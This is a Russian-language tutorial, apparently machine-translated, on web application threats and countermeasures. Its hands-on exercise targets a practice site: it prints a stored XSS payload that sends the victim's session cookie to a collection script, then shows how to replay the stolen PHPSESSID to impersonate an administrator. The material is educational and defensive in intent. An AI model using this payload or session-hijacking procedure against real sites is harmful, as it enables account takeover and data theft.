Учебники

15) Взломать сайт

Больше людей имеют доступ к Интернету, чем когда-либо прежде. Это побудило многие организации разрабатывать веб-приложения, которые пользователи могут использовать в Интернете для взаимодействия с организацией. Плохо написанный код для веб-приложений можно использовать для получения несанкционированного доступа к конфиденциальным данным и веб-серверам.

В этой статье мы познакомим вас с методами взлома веб-приложений и мерами противодействия, которые вы можете предпринять для защиты от таких атак .

Темы, рассматриваемые в этом уроке

Что такое веб-приложение? Что такое веб-угрозы?

Веб-приложение (или веб-сайт) — это приложение, основанное на модели клиент-сервер. Сервер обеспечивает доступ к базе данных и бизнес-логике. Он размещен на веб-сервере. Клиентское приложение запускается в клиентском веб-браузере. Веб-приложения, как правило, пишутся на таких языках, как Java, C # и VB.Net, PHP, ColdFusion Markup Language и т. Д. Ядрами базы данных, используемыми в веб-приложениях, являются MySQL, MS SQL Server, PostgreSQL, SQLite и т. Д.

Большинство веб-приложений размещаются на общедоступных серверах, доступных через Интернет. Это делает их уязвимыми для атак из-за легкого доступа. Ниже перечислены распространенные угрозы веб-приложений.

  • SQL-инъекция — целью этой угрозы может быть обход алгоритмов входа в систему, саботаж данных и т. Д.
  • Атаки отказа в обслуживании — целью этой угрозы может быть отказ в доступе законных пользователей к ресурсу
  • Межсайтовый скриптинг XSS — целью этой угрозы может быть внедрение кода, который может быть выполнен в браузере на стороне клиента.
  • Cookie / Session Poisoning — цель этой угрозы состоит в том, чтобы изменить куки-файлы / данные сеанса злоумышленником для получения несанкционированного доступа.
  • Фальсификация форм — целью этой угрозы является изменение данных форм, таких как цены, в приложениях электронной коммерции, чтобы злоумышленник мог получать товары по сниженным ценам.
  • Внедрение кода — целью этой угрозы является внедрение кода, такого как PHP, Python и т. Д., Который может быть выполнен на сервере. Код может установить бэкдоры, раскрыть конфиденциальную информацию и т. Д.
  • Defacement — цель этой угрозы — изменить страницу, отображаемую на веб-сайте, и перенаправить все запросы на страницу на одну страницу, содержащую сообщение злоумышленника.

Как защитить ваш сайт от взлома?

Организация может принять следующую политику для защиты от атак веб-сервера.

  • SQL-инъекция — дезинфекция и проверка пользовательских параметров перед отправкой их в базу данных для обработки может помочь снизить вероятность атак с помощью SQL-инъекции. Механизмы баз данных, такие как MS SQL Server, MySQL и т. Д., Поддерживают параметры и подготовленные операторы. Они намного безопаснее, чем традиционные операторы SQL
  • Атаки типа «отказ в обслуживании» — брандмауэры могут использоваться для отбрасывания трафика с подозрительного IP-адреса, если атака представляет собой простую DoS. Правильная настройка сетей и системы обнаружения вторжений также может помочь снизить вероятность успешной атаки DoS.
  • Межсайтовый скриптинг — проверка и дезинфекция заголовков, параметров, передаваемых через URL, параметров формы и скрытых значений может помочь уменьшить атаки XSS.
  • Cookie / Session Poisoning — это может быть предотвращено путем шифрования содержимого файлов cookie, тайм-аута файлов cookie через некоторое время, связывания файлов cookie с IP-адресом клиента, который использовался для их создания.
  • Закаливание формы — это можно предотвратить, проверяя и проверяя пользовательский ввод перед его обработкой.
  • Внедрение кода — этого можно избежать, рассматривая все параметры как данные, а не как исполняемый код. Санитарная обработка и проверка могут быть использованы для реализации этого.
  • Defacement — хорошая политика безопасности разработки веб-приложений должна гарантировать, что она закрывает наиболее часто используемые уязвимости для доступа к веб-серверу. Это может быть правильная конфигурация операционной системы, программного обеспечения веб-сервера и передовые методы обеспечения безопасности при разработке веб-приложений.

Взлом деятельности: взломать сайт

В этом практическом сценарии мы собираемся перехватить пользовательский сеанс веб-приложения, расположенного по адресу www.techpanda.org . Мы будем использовать межсайтовый скриптинг для чтения идентификатора сеанса cookie, а затем использовать его для олицетворения законного сеанса пользователя.

Предполагается, что злоумышленник имеет доступ к веб-приложению, и он хотел бы перехватить сеансы других пользователей, которые используют то же приложение. Цель этой атаки может состоять в том, чтобы получить доступ администратора к веб-приложению, предполагая, что учетная запись доступа злоумышленника ограничена.

Начиная

  • Откройте http://www.techpanda.org/
  • Для практических целей настоятельно рекомендуется получить доступ с помощью SQL-инъекции. Обратитесь к этой статье для получения дополнительной информации о том, как это сделать.
  • Адрес электронной почты для входа: admin@google.com , пароль Password2010
  • Если вы успешно вошли в систему, вы получите следующую панель

Как взломать сайт

  • Нажмите на Добавить новый контакт
  • Введите следующее как имя

<a href=# onclick=\»document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\»> Dark </a>

ВОТ,

Приведенный выше код использует JavaScript . Добавляет гиперссылку с событием onclick . Когда ничего не подозревающий пользователь щелкает ссылку, событие извлекает идентификатор сеанса файла cookie PHP и отправляет его на страницу snatch_sess_id.php вместе с идентификатором сеанса в URL-адресе.

Как взломать сайт

  • Введите остальные данные, как показано ниже
  • Нажмите на Сохранить изменения

 

Как взломать сайт

  • Ваша панель управления теперь будет выглядеть следующим образом

Как взломать сайт

  • Поскольку код межсайтового скрипта хранится в базе данных, он будет загружаться каждый раз, когда пользователи получают права доступа.
  • Давайте предположим, что администратор входит в систему и нажимает на гиперссылку с надписью Dark
  • Он / она получит окно с идентификатором сеанса, отображаемым в URL

Как взломать сайт

Примечание . Сценарий может отправлять значение на некоторый удаленный сервер, на котором хранится PHPSESSID, а затем пользователь перенаправляется обратно на веб-сайт, как будто ничего не происходит.

Примечание : значение, которое вы получаете, может отличаться от значения в этом уроке, но концепция та же

Сеанс олицетворения с использованием дополнения Firefox и Tamper Data

Блок-схема ниже показывает шаги, которые вы должны предпринять для выполнения этого упражнения.

Как взломать сайт

  • Для этого раздела вам потребуется веб-браузер Firefox и дополнение Tamper Data.
  • Откройте Firefox и установите дополнение, как показано на диаграммах ниже

Как взломать сайт

Как взломать сайт

  • Найдите данные тампера и нажмите «Установить», как показано выше.

Как взломать сайт

  • Нажмите на Принять и установить …

Как взломать сайт

Как взломать сайт

  • Нажмите на Перезагрузить сейчас, когда установка завершится
  • Включите строку меню в Firefox, если она не отображается

Как взломать сайт

  • Нажмите на меню инструментов, затем выберите Данные тампера, как показано ниже

Как взломать сайт

  • Вы получите следующее окно. Примечание: если Windows не пуста, нажмите кнопку очистки

Как взломать сайт

  • Нажмите на меню «Начать тампер»
  • Вернитесь в браузер Firefox, введите http://www.techpanda.org/dashboard.php и нажмите клавишу ввода, чтобы загрузить страницу.
  • Вы получите следующее всплывающее окно из Tamper Data

Как взломать сайт

  • Во всплывающем окне есть три (3) варианта. Опция Tamper позволяет вам изменять информацию заголовка HTTP перед ее отправкой на сервер .
  • Нажмите здесь
  • Вы получите следующее окно

Как взломать сайт

  • Скопируйте идентификатор сеанса PHP, который вы скопировали из URL атаки, и вставьте его после знака равенства. Ваша ценность теперь должна выглядеть так

PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2

  • Нажмите на кнопку ОК
  • Вы снова получите всплывающее окно данных тампера.

Как взломать сайт

  • Снимите флажок, который просит продолжить вмешательство?
  • Нажмите на кнопку отправить, когда закончите
  • Вы должны увидеть панель инструментов, как показано ниже

Как взломать сайт

Примечание : мы не входили в систему, мы олицетворяли сеанс входа в систему, используя значение PHPSESSID, которое мы получили с помощью межсайтового скриптинга

Резюме

  • Веб-приложение основано на модели сервер-клиент. Клиентская сторона использует веб-браузер для доступа к ресурсам на сервере.
  • Веб-приложения обычно доступны через Интернет. Это делает их уязвимыми для атак.
  • Угрозы веб-приложений включают в себя SQL-инъекцию, внедрение кода, XSS, искажение, отравление cookie и т. Д.
  • Хорошая политика безопасности при разработке веб-приложений может помочь сделать их безопасными.